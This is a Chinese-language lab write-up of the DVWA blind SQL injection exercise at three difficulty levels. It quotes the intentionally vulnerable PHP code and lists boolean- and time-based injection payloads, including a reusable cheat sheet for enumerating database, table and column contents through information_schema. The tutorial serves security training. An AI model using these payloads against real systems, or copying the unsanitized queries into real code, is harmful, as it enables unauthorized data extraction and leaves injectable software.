DVWA SQL Injection (Blind) 全等级分析与实践：

SQL Injection (Blind) SQL 盲注

盲注：用户可以控制输入但是页面没有回显

盲注分为三类：基于布尔SQL盲注、基于时间的SQL盲注、基于报错的SQL盲注。

盲注思路步骤：

判断是否存在注入，注入是字符型还是数字型

猜解当前数据库名

猜解数据库中的表名

猜解表中的字段名

猜解数据

LOW：

查看源码：

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Get input
    $id = $_GET[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

分析：
使用GET类型传参，对用户输入没有过滤，页面无回显

判断注入类型：

输入1

判断字符型还是数字型：
0 or 1 :User ID is MISSING from the database.

0 ‘ 0r 1#:User ID exists in the database.

由此可以判断是字符型：

总之数字型注入不需要使用单引号闭合前面的单引号就可以执行SQL语句，而字符型必须闭合前面的单引号，然后才可以执行SQL语句，同时也需要把后面的单引号闭合，而注释就是很好的一种闭合后面的单引号的方法。

猜数据库名

1 ‘ and length(database()) =3#

1 ‘ and length(database()) =4#

判断出库名的长度为4

继续猜解数据库名
首先讲一下用到的函数：

database()
该函数可以显示当前正在使用的数据库库名。

substr()
这个函数很常用，有三个参数，按顺序分别是字符串，起始位置和长度。可以求指定字符串的子串。当然，第一个参数可以是列的名字。这个函数似乎和mid没有什么不同，如果mid或者substr中的某一个函数被禁了就用另一个。

ord()
该函数用于获得某个字符串最开始的字符的ASCII值。

ascii()
目前未发现与ord的不同。不过这样也有很大好处，那就是，如果SQL注入的题目中过滤了or，ord函数，可以用ascii函数替代。

举个例子：
ascii(substr(‘admin’,1,1))
这两个函数结合使用时，作用是返回“Admin”第一个字符的ASCII码值

我们后面就是将函数结合使用
比如：ascii(substr(databse(),1,1))
作用是：返回当前在使用的数据库名的第一个字符的
ASCII码值

讲完了函数，下面开始实际使用：
1’ and ascii(substr(databse(),1,1))>97 #

显示存在，说明数据库名的第一个字符的ascii值大于97（小写字母a的ascii值）

1’ and ascii(substr(databse(),1,1))<99 #

显示不存在，说明数据库名的第一个字符的ascii值不小于99（小写字母c的ascii的值）

1’ and ascii(substr(databse(),1,1))=100#

显示存在，说明数据库名的第一个字符的ascii值等于100（小写字母d的ascii的值)

1’ and ascii(substr(databse(),2,2))=118#

由此推断数据库名称的第一个字母是d，第二个字母是v,同理推断下去，可知数据库名为dvwa。

猜解表数

首先介绍用到的参数

1.【information_schema 数据库】 是MySQL自带的，它提供了访问数据库 元数据 的方式。什么是 元数据 呢？元数据是关于数据的数据，如数据库名或表名，列的数据类型，或访问权限等。
有些时候用于表述该信息的其他术语包括“数据词典”和“系统目录”。
在MySQL中，把【information_schema】 看作是一个数据库，确切说是信息数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名，数据库的表，表栏的数据类型与访问权限等。

2.SQL COUNT(*) 语法
COUNT(*) 函数返回表中的记录数：

SELECT COUNT(*) FROM table_name

1′ and (select count() from information_schema.tables where table_schema =”dvwa”)>2#

1′ and (select count() from information_schema.tables where table_schema =”dvwa”)=2#

说明有2个表

猜解表名

先判断第一个表名的长度
1′ and length(substr((select table_name from information_schema.tables where table_schema=”dvwa” limit 0,1),1))>10 #

不存在，说明第一个表名的长度<10

1′ and length(substr((select table_name from information_schema.tables where table_schema=”dvwa” limit 0,1),1))=9 #

存在，说明第一个表名的长度=9（所以盲注很耗时间啊，要猜出9个字符，组合起来）

两个表表，这里先猜第一个表的表名
1′ and ascii(substr((select table_name from information_schema.tables where table_schema=”dvwa” limit 0,1),1,1))=103 #

1′ and ascii(substr((select table_name from information_schema.tables where table_schema=”dvwa” limit 0,1),2,1))=117 #
存在，说明猜对了，u对应的ascii码是117

太费时间了，登录后台看一下吧

布尔盲注思路总结：
猜当前库的长度
?id=1 and length(database())>猜的数 --+

猜当前库名
?id=1 and ascii(substr(database(),i,1))>猜的数 --+
其中i为库名的第i个字符

猜库的表数
?id=1 and (select count(*) from information_schema.tables where table_schema = "上一步得到的库名")>猜的数 --+

猜表名
?id=1 and  ascii(substr((select table_name from information_schema.tables where table_schema="库名" limit i,1),j,1))>猜的数--+
其中 i 为第 i 个表；j 为 第 i 个表的第 j 个字母

之后的猜列数、猜字段名流程都一样，只需改动
select （1） from information_schema.(2) where （3） 的三处内容即可。
(1)处(2)处要对应一致，(3)处高于(1)，(2)处一级。

猜列的具体内容
?id=1 and ascii(substr((select concat(列名) from 表名 limit 0,1),1,1))>猜的数

Medium:

查看源码：

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $id = $_POST[ 'id' ];
    $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    //mysql_close();
}

?>

源码分析：
改为POST类型传参，同样页面无回显
利用mysql_real_escape_string函数对特殊符号进行转义

这次试一试时间注入吧

if (ascii(substr(user(),1,1))=100,sleep(5),0)
and if(what?,1,sleep(5))
如果BOOL表达式正确，页面返回将延迟5秒，否则页面出错。

先抓包：

修改参数：
1 and if(length(database())=1,sleep(5),1) #

没有延时5秒

1 and if(length(database())=4,sleep(5),1) #

明显延时5秒，说明库名长度为4，大家可以自行感受延时

只感受一下延时注入，不试了

High:
查看源码：

<?php

if( isset( $_COOKIE[ 'id' ] ) ) {
    // Get input
    $id = $_COOKIE[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Might sleep a random amount
        if( rand( 0, 5 ) == 3 ) {
            sleep( rand( 2, 4 ) );
        }

        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

源码分析：
High级别的代码利用cookie传递参数id，当SQL查询结果为空时，会执行函数sleep(seconds)，目的是为了扰乱基于时间的盲注。同时在 SQL查询语句中添加了LIMIT 1，希望以此控制只输出一个结果。

1’ and length(database())=3 #

1’ and length(database())=4 #

简单尝试